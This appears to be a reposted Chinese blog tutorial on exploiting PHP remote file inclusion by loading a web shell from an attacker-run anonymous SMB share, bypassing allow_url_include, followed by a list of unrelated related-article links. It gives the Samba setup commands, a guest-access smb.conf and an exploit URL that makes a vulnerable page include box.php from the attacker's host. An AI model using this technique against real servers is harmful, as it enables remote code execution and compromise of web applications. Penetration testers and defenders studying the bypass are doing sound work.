使用SMB共享来绕过php远程文件包含的限制执行RFI的利用


Posted in PHP onMay 31, 2019

在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件访问

在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。

攻击场景概述

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

PHP 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”

以下是版本为“5.5.11”的PHP当前配置截图:

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 Samba 服务器(Linux 机器)
使用以下命令安装Samba服务器:

apt-get install samba创建SMB共享目录:

mkdir /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

运行以下命令,删除SAMBA服务器配置文件的默认内容。

echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。

在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:

\\192.168.0.3\ 

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在 SMB 共享中托管 PHP Web shell

太棒了!可以访问smb共享,并显示目录“ica”存在。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。

\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

总结

以上所述是小编给大家介绍的使用SMB共享来绕过php远程文件包含的限制执行RFI的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
PHP session有效期session.gc_maxlifetime
Apr 20 PHP
PHP仿博客园 个人博客(1) 数据库与界面设计
Jul 05 PHP
PHP CURL CURLOPT参数说明(curl_setopt)
Sep 30 PHP
PHP网页游戏学习之Xnova(ogame)源码解读(十六)
Jun 30 PHP
php生成xml时添加CDATA标签的方法
Oct 17 PHP
PHP自毁程序(慎用)
Jul 09 PHP
PHP批量去除BOM头内容信息代码
Mar 11 PHP
[原创]php使用curl判断网页404(不存在)的方法
Jun 23 PHP
php正则表达式基本知识与应用详解【经典教程】
Apr 17 PHP
php微信扫码支付 php公众号支付
Mar 24 PHP
PHP+百度AI OCR文字识别实现了图片的文字识别功能
May 08 PHP
通过实例解析PHP数据类型转换方法
Jul 11 PHP
PHP使用ActiveMQ实现消息队列的方法详解
May 31 #PHP
php中的buffer缓冲区用法分析
May 31 #PHP
PHP实现基于状态的责任链审批模式详解
May 31 #PHP
Laravel框架实现调用百度翻译API功能示例
May 30 #PHP
Laravel框架学习笔记之批量更新数据功能
May 30 #PHP
PHP实现的微信公众号扫码模拟登录功能示例
May 30 #PHP
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
May 30 #PHP
You might like
用PHP查询搜索引擎排名位置的代码
2010/01/05 PHP
解析如何在PHP下载文件名中解决乱码的问题
2013/06/20 PHP
windwos下使用php连接oracle数据库的过程分享
2014/05/26 PHP
Win7下手动安装apache2.2、php5.4笔记
2015/04/03 PHP
Javascript 继承机制实例
2009/08/12 Javascript
Google Dart编程语法和基本类型学习教程
2013/11/27 Javascript
JS控件ASP.NET的treeview控件全选或者取消(示例代码)
2013/12/16 Javascript
详解JavaScript基本类型和引用类型
2015/12/09 Javascript
JavaScript的Backbone.js框架的一些使用建议整理
2016/02/14 Javascript
Jquery实现遮罩层的简单实例(就是弹出DIV周围都灰色不能操作)
2016/07/14 Javascript
解读vue生成的文件目录结构及说明
2017/11/27 Javascript
使用D3.js创建物流地图的示例代码
2018/01/27 Javascript
基于express中路由规则及获取请求参数的方法
2018/03/12 Javascript
微信小程序实现自定义加载图标功能
2018/07/19 Javascript
Vue+Webpack完美整合富文本编辑器TinyMce的方法
2018/11/30 Javascript
Vue2.0 实现页面缓存和不缓存的方式
2019/11/12 Javascript
JavaScript实现烟花绽放动画效果
2020/08/04 Javascript
解决python2.7 查询mysql时出现中文乱码
2016/10/09 Python
python 调用c语言函数的方法
2017/09/29 Python
Mac在python3环境下安装virtualwrapper遇到的问题及解决方法
2019/07/09 Python
在python中做正态性检验示例
2019/12/09 Python
Pandas缺失值2种处理方式代码实例
2020/06/13 Python
在Keras中利用np.random.shuffle()打乱数据集实例
2020/06/15 Python
python statsmodel的使用
2020/12/21 Python
CSS3圆角和渐变2种常用功能详解
2016/01/06 HTML / CSS
HTML5本地存储之Web Storage详解
2016/07/04 HTML / CSS
物流仓储实习自我鉴定
2013/09/25 职场文书
行政助理的职责
2013/11/14 职场文书
经济与贸易专业应届生求职信
2013/11/19 职场文书
租房协议书样本
2014/08/20 职场文书
司法局群众路线教育实践活动整改措施
2014/09/17 职场文书
四风问题个人自查剖析材料思想汇报
2014/09/21 职场文书
教师培训学习心得体会
2016/01/21 职场文书
分析Netty直接内存原理及应用
2021/06/14 Java/Android
如何利用 CSS Overview 面板重构优化你的网站
2021/10/24 HTML / CSS
SQL Server查询某个字段在哪些表中存在
2022/03/03 SQL Server